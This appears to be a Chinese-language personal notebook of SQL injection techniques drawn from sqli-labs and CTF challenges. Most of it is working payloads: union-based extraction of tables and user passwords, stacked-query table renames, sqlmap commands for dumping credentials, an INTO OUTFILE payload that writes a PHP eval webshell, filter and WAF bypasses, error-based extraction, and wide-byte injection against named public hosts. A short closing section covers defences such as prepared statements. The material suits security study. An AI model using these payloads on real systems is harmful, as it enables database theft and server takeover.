笔记放在本地总是容易搞丢,备份一下
http://127.0.0.1/sqlilabs/Less-2/?id=1
http://127.0.0.1/sqlilabs/Less-2/?id=3 -- -
http://127.0.0.1/sqlilabs/Less-2/?id=3' -- -
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=1 -- -
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=2 -- -
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=1 order by 1,2,3-- -
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=1 union select 1,2,3-- -
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=-1 union select 1,2,3-- -
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=-1 union select 1,version(),database()-- - 爆出版本和数据库名
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()-- - 爆出版本和当前数据库表名
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=-1 union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema=database()-- - 爆出版本和数据库表的字段
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=-1 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'-- - 爆出版本和数据库表users的字段
http://127.0.0.1/sqlilabs/Less-2/?id=3' and 1=-1 union select 1,version(),group_concat(id,0x23,username,0x23,password) from users-- -
爆出版本和当前表的内容
盲注:构造payload通过python脚本来实现(直接sqlmap跑也可以)
延时注入:
布尔盲注;
堆叠注入:id=1'; 闭合之后在冒号后面执行数据库语句。
RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
这里还有一种新姿势,参考官方文档
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;# (flaghere是flag所在的表名)
BUUCTF 随便注;
http://c6752d56-5667-44fe-b04b-ddfd0a1eea8d.node4.buuoj.cn:81/?inject=1';rename tables words to words1;rename tables`1919810931114514` to words;alter table words change flag id varchar(100);-- -(字符串为表名操作时要加反引号)
二次注入:先注册一个admin'# 登录进去之后重置密码为000之后在登录admin账号
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' # 检测注入点是否可用
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --dbs #可曝出该mysql中所有数据库名称
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-db #web当前使用的数据库
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-user #web数据库使用账户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --users #列出sql所有用户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --passwords #数据库账户与密码
sqlmap -u ‘192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1’ --tables #输出所有的表
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 --tables #-D 指定数据库名
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 --columns #-T:指定要列出字段的表 --columns 列出了所有的列字段
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump # -C :指定要爆的字段
sqlmap万能用法
burp抓包保存为1.txt 抓到的包右键保存成一个.txt文件,然后输入python sqlmap.py -r之后直接把那个txt文件拖到命令里面,不用在找文件路径了,如果是时间盲注可能要跑1小时,耐心等待
sqlmap -r 1.txt --dbs #可曝出该mysql中所有数据库名称
sqlmap -r 1.txt --current-db #web当前使用的数据库
--users 查询数据库用户
--privileges 查询用户权限
--threads=NUM 设置线程数,可以根据自己电脑的性能和网络状态在NUM处指定数字,在bool盲注的时候可以提高速度。
将sqlmap的参数设置为level=2,这样sqlmap就会自动检测Cookie中是否存在注入了。
将sqlmap的参数设置为level=3,这样sqlmap会自动检测User-Agent是否存在注入点了。
sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level=3
Client-ip:
Referer: 从哪里来
client-ip:127.0.0.1也可以
2: SSTI注入。payload例子:client-ip:{system(‘ls’)} X-Forwarded-For:{system(‘ls’)}
以MySQL数据库为例,在MySQL用户具有File权限的情况下,可以使用load_file和into outfile/dumpfile进行读写。
写文件的payload如下:
?id=-1+union+select+'<?php eval_(POST[cmd];?>)'+into+outfile '/var/www/html/shell.php'
或者:
?id=-1+union+select+unhex(一句话木马的十六进制)+into+dumpfile '/var/www/html/shell.php'
绕过空格:
(1) #,-- // /* */ ;%00
(2)还可以通过二次url编码来绕过空格,我们知道空格的编码是%20。可以通过二次URL编码来绕过,%20二次url编码就是%2520。
(3)通过空白字符绕过,下面列举数据库中一些常见的可以用来绕过空格过滤的空白字符(十六进制)
SQLite3 : 0A,0D,0C,09,20
MYSQL5; 09,0A,0B,0C,0D,A0,20
PosgresSQL; 0A,0D,0C,09,20
Oracle 11g; 00,0A,0D,0C,09,20
MYSSQL; 01,02,03,04,05,06,07,08,09,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(4)通过特殊符号(如反引号,加号等),利用反引号绕过空格的语句如下;
select`user`,`password`from...
(5)科学计数法绕过空格
语句如下:SELECT user,password from users where user_id=0e1union select 1,2
如?id=1 uni//on sele//ct 1,2,3 #
适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un//ion sel//ect 1,2,3 #;至于重写绕过,适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这时多次尝试也可以。
如?id=1 union select 1,2,3 from users where id=1 #
这时可以改为?id=1 union select 1&id=2,3 from users where id=1 #
这个例子也同理:?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users #
如果服务器代码为: select * from table where a=”.GET[‘a′].”and**b=”.
_GET[‘b’].” limit “.$_GET[‘c’]; 那么可以构造这样的注入语句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最终解析为: select from table where a=1 union/ and b=/select 1,pass/limit */from users # 可以看到,这种方式比较适合白盒测试。
如?id=1 or 0x50=0x50
?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是从 users 表里查询 pwd 字段的第一条记录, 然后 mid()就是取该记录的第一个字符, lower()把字符转换为小写, ascii 把 该字符转换成 ascii 码,最后判断等不等于 74。
substring()可以用mid()、substr()这些函数来替换,都是用来取字符串的某一位字符的;
ascii()编码可以用 hex()、bin(),即十六进制和二进制编码替换;
group_concat 、 concat 、concat_ws 三者可以互相替换;
substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70
都是从 password 里判断第一个字符的值,可以用 strcmp(字符串比较函数)
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
替换,left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为 0,左边小的话就为-1,否则为 1。
例句:index.PHP?id=1
当and和or被过滤时,可以将 1修改为是通过语句生成的, index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123,123 的时候页面是正确的,现在再盲猜 hash 的第一位,如果第一位等于 0x42 也就是 B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样猜,不用 and 和 or 了。
如?id=(1)union(select(1),mid(hash,1,32)from(users))
?id=(1)union(((((((select(1),hex(hash)from(users))))))))
?id=(1)or(0x50=0x50)
如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #
其中 A 越多越好,一般要求 1000 个以上。
1、基于报错的检测方法:
使用各种符号以及组合: ‘ “ ( %
如直接在URL后添加单引号看是否报错index.php?id=1’
2、基于布尔的检测:
最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞
3、直接在URL地址后面加-1、-0、’%2B’和’%2B’a:
添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;
添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;
添加’%2B’和’%2B’a:这里%2B为‘+’的URL编码,当先添加’%2B’时index.php?id=123’%2B’返回同样的页面,而添加’%2B’a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。
1’ and 1=1 #
1’ and 1=2 #
判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。
关键是对所有用户的输入进行严格的检查过滤、对数据库配置使用最小权限原则。
常用的修复方案:
(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
(2)过滤危险的 SQL 语句关键字。
(3)确认每种数据的类型。
(4)数据长度应该严格规定。
(5)网站每个数据层的编码统一。
(6)严格限制网站用户的数据库的操作权限。
(7)避免网站显示 SQL 错误信息。
(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。
(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。
其实最有效的防御手段是下面两种:
1、预编译:
原理是采用PreparedStatement将相应的SQL语句预先编译好,即SQL引擎会预先进行语法分析,产生语法树,生成执行计划,从而无论用户输入什么内容即使是sql命令都不会影响该SQL语句的语法结构而只能当成是字符串字面值参数。但并不是所有场景都能采用SQL预编译的,如需要进行一些字符串拼接的方式,这时便需要严格检查参数的数据类型以及采用一些安全函数来处理。
其过程如下:
(1)定义预编译的sql语句,其中待填入的参数用?占位。
(2)创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。
(3)填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str)。
(4)执行预处理对象。
例子:
String sql=”select id,no from user where id=?”;
PreparedStatement ps = conn.prepareStatement(sql);
prestmt.setInt(1,id);
prestmt.executeQuery();
2、变量绑定:
是指在sql语句的条件中使用变量而不是常量,是为了减少解析的。具体的细节网上很多,后面再补充。
select *from article where id=('1')/**/union/**/select/**/1,2,load_file("tmp/360/key"),4#)
用?id=1' and '1 来绕过注释符
or and xor not 过滤绕过
and = && or = || xor = | # not = !
二次注入,先登录admin'#,在重置
=号过滤绕过
如果()都被过滤了,试着用联合查询添加临时账户来实现注入,'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' -- - [GXYCTF2019]BabySQli 1的md5加密后的一串数字,这时候联合查询会临时添加一个admin的账户,然后在password这一栏输入1就可以登录进去了。
=号和不加通配符的 like 是一样的 还可以使用 < >号来绕过 =3相当于>2 <4
<> 在mysql中等于!= 如果在加一个! 双重否定代表肯定 就是= 了 例:select *from dog where !(id <>4);
引号绕过(使用十六进制):
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
select column_name from information_schema.tables where table_name="users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
方法一 利用 extractvalue(还有函数updataxml)
爆数据库
'or(extractvalue(1,concat(0x7e,(select(database())))))or' (该题过滤掉了空格,所以用or'闭合)
爆表
'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')))))or'
爆字段
'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))or'
爆flag值
'or(extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)))))or'
flag{ff8c926c-6054-4a4d-900d-a94f97155f7a}
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
宽字节注入,进行列数测试,得知一共有两列,且1,2处都有回显:
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23 获取当前数据库名: http://103.238.227.13:10083/index.php?id=%df%27 union select database(),2%23 爆表 id=%df%27 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23 爆列名 id=%df%27 union select 1,group_concat(column_name)from information_schema.columns where table_name=ctf4%23 爆字段 id=%df%27 union select 1,group_concat(flag) from ctf4%23
用sqlmap跑宽字节注入的时候要先加%df,如sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=�' --current-db